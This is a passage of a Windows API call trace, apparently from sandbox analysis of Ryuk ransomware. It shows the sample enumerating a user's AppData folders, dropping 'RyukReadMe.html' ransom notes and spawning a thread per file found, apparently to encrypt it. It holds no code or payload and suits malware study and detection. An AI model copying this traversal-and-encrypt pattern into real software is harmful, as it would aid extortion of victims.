	[0252.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4
	[0252.636] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.636] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b9ed580, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9ed580, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Backup", cAlternateFileName="")) returned 1
	[0252.636] SetLastError (dwErrCode=0x0) 
	[0252.637] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.637] GetLastError () returned 0x3
	[0252.637] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.637] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.637] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21c, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0252.637] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0252.637] SetLastError (dwErrCode=0x0) 
	[0252.637] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.637] GetLastError () returned 0x3
	[0252.637] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.637] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.637] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x200, dwReserved1=0x0, cFileName="edb.chk", cAlternateFileName="")) returned 1
	[0252.637] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0252.638] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc
	[0252.639] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.639] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x200, dwReserved1=0x0, cFileName="edb.log", cAlternateFileName="")) returned 1
	[0252.640] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0252.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4
	[0252.641] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.642] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2b29966, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x200, dwReserved1=0x0, cFileName="edb00001.log", cAlternateFileName="")) returned 1
	[0252.642] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0252.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0
	[0252.643] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.644] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2027392, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x200, dwReserved1=0x0, cFileName="edbres00001.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1
	[0252.644] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0252.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c4
	[0252.645] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.646] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2216575, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x200, dwReserved1=0x0, cFileName="edbres00002.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1
	[0252.646] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0252.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c0
	[0252.647] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.648] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x200, dwReserved1=0x0, cFileName="oeold.xml", cAlternateFileName="")) returned 1
	[0252.648] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0252.649] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f8
	[0252.650] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.650] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0252.650] SetLastError (dwErrCode=0x0) 
	[0252.650] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.651] GetLastError () returned 0x3
	[0252.651] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.651] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.651] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21c, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0252.651] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0252.651] SetLastError (dwErrCode=0x0) 
	[0252.651] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.651] GetLastError () returned 0x3
	[0252.651] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.651] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.651] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x204000, dwReserved0=0x200, dwReserved1=0x0, cFileName="WindowsMail.MSMessageStore", cAlternateFileName="WINDOW~1.MSM")) returned 1
	[0252.651] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0252.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f4
	[0252.670] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.671] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9a12c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 1
	[0252.671] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0252.672] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0
	[0252.672] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.673] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9a12c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 0
	[0252.673] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0252.675] SetLastError (dwErrCode=0x0) 
	[0252.675] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.675] GetLastError () returned 0x3
	[0252.675] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0252.675] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.675] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Windows Media", cAlternateFileName="WINDOW~2")) returned 1
	[0252.675] SetLastError (dwErrCode=0x0) 
	[0252.675] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b8
	[0252.675] GetLastError () returned 0xb7
	[0252.675] CloseHandle (hObject=0x5b8) returned 1
	[0252.675] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0252.676] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0252.676] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="12.0", cAlternateFileName="")) returned 1
	[0252.676] SetLastError (dwErrCode=0x0) 
	[0252.676] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.676] GetLastError () returned 0x3
	[0252.677] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.677] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.677] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21e, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0252.677] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0252.677] SetLastError (dwErrCode=0x0) 
	[0252.677] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\12.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.677] GetLastError () returned 0x3
	[0252.677] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.677] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.677] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="12.0", cAlternateFileName="")) returned 0
	[0252.677] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0252.677] SetLastError (dwErrCode=0x0) 
	[0252.677] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.677] GetLastError () returned 0x3
	[0252.677] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0252.678] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.678] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1
	[0252.678] SetLastError (dwErrCode=0x0) 
	[0252.678] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b8
	[0252.678] GetLastError () returned 0xb7
	[0252.678] CloseHandle (hObject=0x5b8) returned 1
	[0252.678] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x200, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application 